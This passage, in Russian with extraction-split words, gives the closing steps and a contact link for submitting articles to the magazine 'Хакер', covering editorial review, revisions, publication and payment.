6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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